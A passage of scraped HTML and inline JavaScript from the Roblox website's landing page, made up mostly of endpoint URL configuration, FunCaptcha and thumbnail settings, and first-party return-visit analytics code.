"//ecsv2.roblox.com/www/e.png", "//ecsv2.roblox.com/pe?t=studio", "//ecsv2.roblox.com/pe?t=diagnostic"); } [removed] [removed] if (Roblox && Roblox.PageHeartbeatEvent) { Roblox.PageHeartbeatEvent.Init([2,8,20,60]); } [removed] [removed] if (typeof(Roblox) === "undefined") { Roblox = {}; } Roblox.Endpoints = Roblox.Endpoints <PIPE><PIPE> {}; Roblox.Endpoints.Urls = Roblox.Endpoints.Urls <PIPE><PIPE> {}; Roblox.Endpoints.Urls['/asset/'] = 'https://assetgame.roblox.com/asset/'; Roblox.Endpoints.Urls['/client-status/set'] = 'https://www.roblox.com/client-status/set'; Roblox.Endpoints.Urls['/client-status'] = 'https://www.roblox.com/client-status'; Roblox.Endpoints.Urls['/game/'] = 'https://assetgame.roblox.com/game/'; Roblox.Endpoints.Urls['/game/edit.ashx'] = 'https://assetgame.roblox.com/game/edit.ashx'; Roblox.Endpoints.Urls['/game/placelauncher.ashx'] = 'https://assetgame.roblox.com/game/placelauncher.ashx'; Roblox.Endpoints.Urls['/game/preloader'] = 'https://assetgame.roblox.com/game/preloader'; Roblox.Endpoints.Urls['/game/report-stats'] = 'https://assetgame.roblox.com/game/report-stats'; Roblox.Endpoints.Urls['/game/report-event'] = 'https://assetgame.roblox.com/game/report-event'; Roblox.Endpoints.Urls['/game/updateprerollcount'] = 'https://assetgame.roblox.com/game/updateprerollcount'; Roblox.Endpoints.Urls['/login/default.aspx'] = 'https://www.roblox.com/login/default.aspx'; Roblox.Endpoints.Urls['/my/avatar'] = 'https://www.roblox.com/my/avatar'; Roblox.Endpoints.Urls['/my/money.aspx'] = 'https://www.roblox.com/my/money.aspx'; Roblox.Endpoints.Urls['/navigation/userdata'] = 'https://www.roblox.com/navigation/userdata'; Roblox.Endpoints.Urls['/chat/chat'] = 'https://www.roblox.com/chat/chat'; Roblox.Endpoints.Urls['/chat/data'] = 'https://www.roblox.com/chat/data'; Roblox.Endpoints.Urls['/friends/list'] = 'https://www.roblox.com/friends/list'; Roblox.Endpoints.Urls['/navigation/getcount'] = 'https://www.roblox.com/navigation/getCount'; Roblox.Endpoints.Urls['/regex/email'] = 'https://www.roblox.com/regex/email'; Roblox.Endpoints.Urls['/catalog/browse.aspx'] = 'https://www.roblox.com/catalog/browse.aspx'; Roblox.Endpoints.Urls['/catalog/html'] = 'https://search.roblox.com/catalog/html'; Roblox.Endpoints.Urls['/catalog/json'] = 'https://search.roblox.com/catalog/json'; Roblox.Endpoints.Urls['/catalog/contents'] = 'https://search.roblox.com/catalog/contents'; Roblox.Endpoints.Urls['/catalog/lists.aspx'] = 'https://search.roblox.com/catalog/lists.aspx'; Roblox.Endpoints.Urls['/catalog/items'] = 'https://search.roblox.com/catalog/items'; Roblox.Endpoints.Urls['/asset-hash-thumbnail/image'] = 'https://assetgame.roblox.com/asset-hash-thumbnail/image'; Roblox.Endpoints.Urls['/asset-hash-thumbnail/json'] = 'https://assetgame.roblox.com/asset-hash-thumbnail/json'; Roblox.Endpoints.Urls['/asset-thumbnail-3d/json'] = 'https://assetgame.roblox.com/asset-thumbnail-3d/json'; Roblox.Endpoints.Urls['/asset-thumbnail/image'] = 'https://assetgame.roblox.com/asset-thumbnail/image'; Roblox.Endpoints.Urls['/asset-thumbnail/json'] = 'https://assetgame.roblox.com/asset-thumbnail/json'; Roblox.Endpoints.Urls['/asset-thumbnail/url'] = 'https://assetgame.roblox.com/asset-thumbnail/url'; Roblox.Endpoints.Urls['/asset/request-thumbnail-fix'] = 'https://assetgame.roblox.com/asset/request-thumbnail-fix'; Roblox.Endpoints.Urls['/avatar-thumbnail-3d/json'] = 'https://www.roblox.com/avatar-thumbnail-3d/json'; Roblox.Endpoints.Urls['/avatar-thumbnail/image'] = 'https://www.roblox.com/avatar-thumbnail/image'; Roblox.Endpoints.Urls['/avatar-thumbnail/json'] = 'https://www.roblox.com/avatar-thumbnail/json'; Roblox.Endpoints.Urls['/avatar-thumbnails'] = 'https://www.roblox.com/avatar-thumbnails'; Roblox.Endpoints.Urls['/avatar/request-thumbnail-fix'] = 'https://www.roblox.com/avatar/request-thumbnail-fix'; Roblox.Endpoints.Urls['/bust-thumbnail/json'] = 'https://www.roblox.com/bust-thumbnail/json'; Roblox.Endpoints.Urls['/headshot-thumbnail/json'] = 'https://www.roblox.com/headshot-thumbnail/json'; Roblox.Endpoints.Urls['/item-thumbnails'] = 'https://www.roblox.com/item-thumbnails'; Roblox.Endpoints.Urls['/outfit-thumbnail/json'] = 'https://www.roblox.com/outfit-thumbnail/json'; Roblox.Endpoints.Urls['/place-thumbnails'] = 'https://www.roblox.com/place-thumbnails'; Roblox.Endpoints.Urls['/thumbnail/asset/'] = 'https://www.roblox.com/thumbnail/asset/'; Roblox.Endpoints.Urls['/thumbnail/avatar-headshot'] = 'https://www.roblox.com/thumbnail/avatar-headshot'; Roblox.Endpoints.Urls['/thumbnail/avatar-headshots'] = 'https://www.roblox.com/thumbnail/avatar-headshots'; Roblox.Endpoints.Urls['/thumbnail/user-avatar'] = 'https://www.roblox.com/thumbnail/user-avatar'; Roblox.Endpoints.Urls['/thumbnail/resolve-hash'] = 'https://www.roblox.com/thumbnail/resolve-hash'; Roblox.Endpoints.Urls['/thumbnail/place'] = 'https://www.roblox.com/thumbnail/place'; Roblox.Endpoints.Urls['/thumbnail/get-asset-media'] = 'https://www.roblox.com/thumbnail/get-asset-media'; Roblox.Endpoints.Urls['/thumbnail/remove-asset-media'] = 'https://www.roblox.com/thumbnail/remove-asset-media'; Roblox.Endpoints.Urls['/thumbnail/set-asset-media-sort-order'] = 'https://www.roblox.com/thumbnail/set-asset-media-sort-order'; Roblox.Endpoints.Urls['/thumbnail/place-thumbnails'] = 'https://www.roblox.com/thumbnail/place-thumbnails'; Roblox.Endpoints.Urls['/thumbnail/place-thumbnails-partial'] = 'https://www.roblox.com/thumbnail/place-thumbnails-partial'; Roblox.Endpoints.Urls['/thumbnail_holder/g'] = 'https://www.roblox.com/thumbnail_holder/g'; Roblox.Endpoints.Urls['/users/{id}/profile'] = 'https://www.roblox.com/users/{id}/profile'; Roblox.Endpoints.Urls['/service-workers/push-notifications'] = 'https://www.roblox.com/service-workers/push-notifications'; Roblox.Endpoints.Urls['/notification-stream/notification-stream-data'] = 'https://www.roblox.com/notification-stream/notification-stream-data'; Roblox.Endpoints.Urls['/api/friends/acceptfriendrequest'] = 'https://www.roblox.com/api/friends/acceptfriendrequest'; Roblox.Endpoints.Urls['/api/friends/declinefriendrequest'] = 'https://www.roblox.com/api/friends/declinefriendrequest'; Roblox.Endpoints.Urls['/authentication/is-logged-in'] = 'https://www.roblox.com/authentication/is-logged-in'; Roblox.Endpoints.addCrossDomainOpti [removed] [removed] if (typeof(Roblox) === "undefined") { Roblox = {}; } Roblox.Endpoints = Roblox.Endpoints <PIPE><PIPE> {}; Roblox.Endpoints.Urls = Roblox.Endpoints.Urls <PIPE><PIPE> {}; [removed] [removed] Roblox = Roblox <PIPE><PIPE> {}; Roblox.AbuseReportPVMeta = { desktopEnabled: false, phoneEnabled: false, inAppEnabled: false }; [removed] <meta name="thumbnail-meta-data" data-is-webapp-cache-enabled="False" data-webapp-cache-expirations-timespan="00:01:00" data-request-min-cooldown="1000" data-request-max-cooldown="30000" data-request-max-retry-attempts="4" data-request-batch-size="100" data-thumbnail-metrics-sample-size="20" data-concurrent-thumbnail-request-count="4"/> </head> <body id="rbx-body" dir="ltr" class="rbx-body dark-theme gotham-font" data-performance-relative-value="0.005" data-internal-page-name="Landing" data-send-event-percentage="0"> <meta name="csrf-token" data-token="tu1pJBZyj8JW" /> [removed][removed] >[removed] <div id="image-retry-data" data-image-retry-max-times="30" data-image-retry-timer="500" data-ga-logging-percent="10"> </div> <div id="http-retry-data" data-http-retry-max-timeout="0" data-http-retry-base-timeout="0" data-http-retry-max-times="1"> </div> >[removed] [removed] var Roblox = Roblox <PIPE><PIPE> {}; $(function () { var funCaptcha = Roblox.FunCaptcha; if (funCaptcha) { var captchaTypes = [{"Type":"Signup","PublicKey":"A2A14B1D-1AF3-C791-9BBC-EE33CC7A0A6F","ApiUrl":"https://captcha.roblox.com/v1/funcaptcha/signup"},{"Type":"Login","PublicKey":"9F35E182-C93C-EBCC-A31D-CF8ED317B996","ApiUrl":"https://captcha.roblox.com/v1/funcaptcha/login/web"}]; funCaptcha.addCaptchaTypes(captchaTypes, true); funCaptcha.setMaxRetriesOnTokenValidationFailure(0); funCaptcha.setPerAppTypeLoggingEnabled(false); funCaptcha.setRetryIntervalRange(500, 1500); } }); // Necessary because of how FunCaptcha js executes callback // i.e. window["{function name}"] function reportFunCaptchaLoaded() { if (Roblox.BundleDetector) { Roblox.BundleDetector.reportResourceLoaded("funcaptcha"); } } [removed] [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.SignupMeta = { isSinglePasswordFieldEnabled: true, isFbSignUpEnabled: false }; [removed] <div id="react-landing-container" data-return-url="" data-is-korea-id-verification-enabled="false" data-prefill-birthday="" data-active-user-birthday="" data-enable-react-ui="true" data-token=""> </div> <div class="dark-theme"> <!--Bootstrap Footer React Component --> <footer class="container-footer" id="footer-container" data-is-giftcards-footer-enabled="True"> </footer> <div id="cookie-banner-wrapper" class="cookie-banner-wrapper"></div> </div> <img src="/timg/rbx"/> [removed] { "@context" : "http://schema.org", "@type" : "Organization", "name" : "Roblox", "url" : "https://www.roblox.com/", "logo": "https://images.rbxcdn.com/cece570e37aa8f95a450ab0484a18d91", "sameAs" : [ "https://www.facebook.com/roblox/", "https://twitter.com/roblox", "https://www.linkedin.com/company/147977", "https://www.instagram.com/roblox/", "https://www.youtube.com/user/roblox", "https://plus.google.com/+roblox", "https://www.twitch.tv/roblox" ] } [removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] <div id="presence-registration-bootstrap-data" data-is-enabled="False" data-interval="15000"></div>>[removed] <div ng-modules="baseTemplateApp"> [removed][removed] </div> <div ng-modules="pageTemplateApp"> <!-- Template bundle: page --> [removed] "use strict"; angular.module("pageTemplateApp", []).run(['$templateCache', function($templateCache) { }]); [removed] </div> >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] [removed]Roblox.config.externalResources = [];Roblox.config.paths['Pages.Catalog'] = 'https://js.rbxcdn.com/109d883fe3988fca757e26e341ed0fe8.js';Roblox.config.paths['Pages.CatalogShared'] = 'https://js.rbxcdn.com/bcba3a83febab35eb41f3a0b8b96db37.js';Roblox.config.paths['Widgets.AvatarImage'] = 'https://js.rbxcdn.com/7d49ac94271bd506077acc9d0130eebb.js';Roblox.config.paths['Widgets.DropdownMenu'] = 'https://js.rbxcdn.com/da553e6b77b3d79bec37441b5fb317e7.js';Roblox.config.paths['Widgets.HierarchicalDropdown'] = 'https://js.rbxcdn.com/4a0af9989732810851e9e12809aeb8ad.js';Roblox.config.paths['Widgets.ItemImage'] = 'https://js.rbxcdn.com/61a0490ba23afa17f9ecca2a079a6a57.js';Roblox.config.paths['Widgets.PlaceImage'] = 'https://js.rbxcdn.com/a6df74a754523e097cab747621643c98.js';[removed] [removed] $(function () { Roblox.DeveloperConsoleWarning.showWarning(); }); [removed] [removed] $(function(){ function trackReturns() { function dayDiff(d1, d2) { return Math.floor((d1-d2)/86400000); } if (!localStorage) { return false; } var cookieName = 'RBXReturn'; var cookieOptions = {expires:9001}; var cookieStr = localStorage.getItem(cookieName) <PIPE><PIPE> ""; var cookie = {}; try { cookie = JSON.parse(cookieStr); } catch (ex) { // busted cookie string from old previous version of the code } try { if (typeof cookie.ts === "undefined" <PIPE><PIPE> isNaN(new Date(cookie.ts))) { localStorage.setItem(cookieName, JSON.stringify({ ts: new Date().toDateString() })); return false; } } catch (ex) { return false; } var daysSinceFirstVisit = dayDiff(new Date(), new Date(cookie.ts)); if (daysSinceFirstVisit == 1 && typeof cookie.odr === "undefined") { RobloxEventManager.triggerEvent('rbx_evt_odr', {}); cookie.odr = 1; } if (daysSinceFirstVisit >= 1 && daysSinceFirstVisit <= 7 && typeof cookie.sdr === "undefined") { RobloxEventManager.triggerEvent('rbx_evt_sdr', {}); cookie.sdr = 1; } try { localStorage.setItem(cookieName, JSON.stringify(cookie)); } catch (ex) { return false; } } GoogleListener.init(); RobloxEventManager.initialize(true); RobloxEventManager.triggerEvent('rbx_evt_pageview'); trackReturns(); RobloxEventManager._idleInterval = 450000; RobloxEventManager.registerCookieStoreEvent('rbx_evt_initial_install_start'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_ftp'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_initial_install_success'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_fmp'); }); [removed] [removed] var Roblox = Roblox <PIPE><PIPE> {}; Roblox.UpsellAdModal = Roblox.UpsellAdModal <PIPE><PIPE> {}; Roblox.UpsellAdModal.Resources = { title: "Remove Ads Like This", body: "Builders Club members do not see external ads like these.", accept: "Upgrade Now", decline: "No, thanks" }; [removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] >[removed] </body> </html>